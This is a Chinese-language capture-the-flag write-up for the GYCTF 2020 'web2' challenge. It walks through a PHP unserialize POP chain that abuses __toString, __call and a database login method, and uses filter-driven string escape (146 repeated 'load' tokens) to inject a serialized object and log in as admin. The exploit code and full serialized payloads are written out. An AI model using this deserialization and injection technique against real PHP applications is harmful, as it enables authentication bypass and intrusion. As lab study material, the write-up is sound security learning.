CTFSHOW game-gyctf web2

【2020年新春战"疫"】game-gyctf web2

参考https://www.cnblogs.com/aninock/p/15408090.html

说明:看见网上好像没多少人写,刚好玩到这道题了,就写一下吧。

一、利用入口

常规套路发现www.zip然后进行代码审计
index可以包含update,sessionlogin=1 ,才能获得flag但要检查session

lib.php中设置了session,似乎只有用户admin
可以看到User的验证只针对id和password
所以,只要执行表查询select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?,并且设置name=admin。满足session_id=1,session_token=admin后,sessionlogin就等于1了,因此必须调用info中的login。

二、构造链条

备注:解析在注释

php 复制代码
<?php

class User
{
    public $age = null;
    public $nickname = null;

    public function update()
    {
        $Info = unserialize($this->getNewinfo());
        $age = $Info->age;
        $nickname = $Info->nickname;
        $updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

    public function getNewInfo()
    {
        $age = $_POST['age'];
        $nickname = $_POST['nickname'];
        return serialize(new Info($age, $nickname));
    }

    public function __destruct()
    {
        return file_get_contents($this->nickname);//危
    }

    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;


    public function __call($name, $argument)
    {
        echo $this->CtrlCase->login($argument[0]);
    }
}

class UpdateHelper
{

    public $sql;

    public function __destruct()
    {
        echo $this->sql;
    }
}

class dbCtrl
{

    public $name;
    public $password;


    public function login($sql)
    {
        $this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result = $this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token == 'admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password) !== $passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token'] = $this->name;
        return $idResult;
    }
}

$users=new User();
$users->update();


#目标:调用info中的login,使其执行select 1,/"c4ca4238a0b923820dcc509a6f75849b/" from user where username=?
#$this->name = $_POST['username'];admin
#$this->password = $_POST['password'];1
#解决问题:判断以toString作为入口
$ud=new UpdateHelper();
$ud->sql=$users;#echo触发tostring

#第一步:另$age为需要执行的sql语句
$users->age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";

#第二步:调用Info中的 login
$in=new Info();
$users->nickname=$in;#toString中的update(),Info类不存在从而触发call

#第三步:需要使用的是dbctrl中的login,继续构造链条
$db=new dbCtrl();
$db->name="admin";
$db->password="1";
$in->CtrlCase=$db;

echo serialize($ud);
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

三、字符逃逸(增逃逸)

要从Info的login作为入口,而login(argument0)是第二个参数,即nickname

注意:__call若传参,则返回不存在的方法名和该方法的参数。
运行一下看看入口原来的输出
O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:11:"nickname123";s:8:"CtrlCase";N;}

如果是load换成hacker,那么就从

O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:4:"load";s:8:"CtrlCase";N;}

变成

O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:4:"hacker";s:8:"CtrlCase";N;}

我需要逃逸274个字符串,那就是说要满足方程

6x=4x+274+闭合字符串(";s:8:"CtrlCase";)(17个)+最后的大括号(1个)

2x=292

x=146

所以需要146个"load"
exp

php 复制代码
......
echo serialize($ud);
echo "\n";
echo strlen(serialize($ud));
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
echo "\n";

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
$p=new Info();
$p->age="age123";
$m=str_repeat("load",146);
$p->nickname=$m."\";s:8:\"CtrlCase\";".serialize($ud).'}';
echo($p->nickname);
echo "\n";
echo safe(serialize($p));

四、使用Payload

提示10-0就成功调用__toString()了。
在用admin/1登录既可以获得flag了。

相关推荐
那年窗外下的雪.3 小时前
AIDC 学习日志 第 04 天 BGP Underlay 基础与路由选择
服务器·学习·php
COOLMO研究AI4 小时前
Python 如何在 AI 接口中实现请求幂等性:防止重复提交与重复扣费
人工智能·python·php
西安景驰电子5 小时前
《PTP精确时间协议系列》第一篇:从原理到应用,全面解读IEEE 1588
linux·运维·服务器·开发语言·网络·windows·php
wavemap7 小时前
HyperPHP 免费主机无限流量
服务器·php
长江&后浪8 小时前
防火墙的描述
开发语言·网络·php
三8449 小时前
文件包含基础
php
qq_448011161 天前
C语言中的动态内存分配
c语言·开发语言·php
叠层归一研究院1 天前
AGI 系统(十一):二阶网络 — 二阶递归 × 多主体 (元符号网络)
开发语言·人工智能·算法·php·agi
数据知道1 天前
反序列化漏洞:Java、PHP、Python 三条线各讲透
java·网络·python·安全·网络安全·php
江畔柳前堤1 天前
Function Calling 与 Tool Calling:从认知到工程的全景深度解析
开发语言·网络·人工智能·深度学习·算法·机器学习·php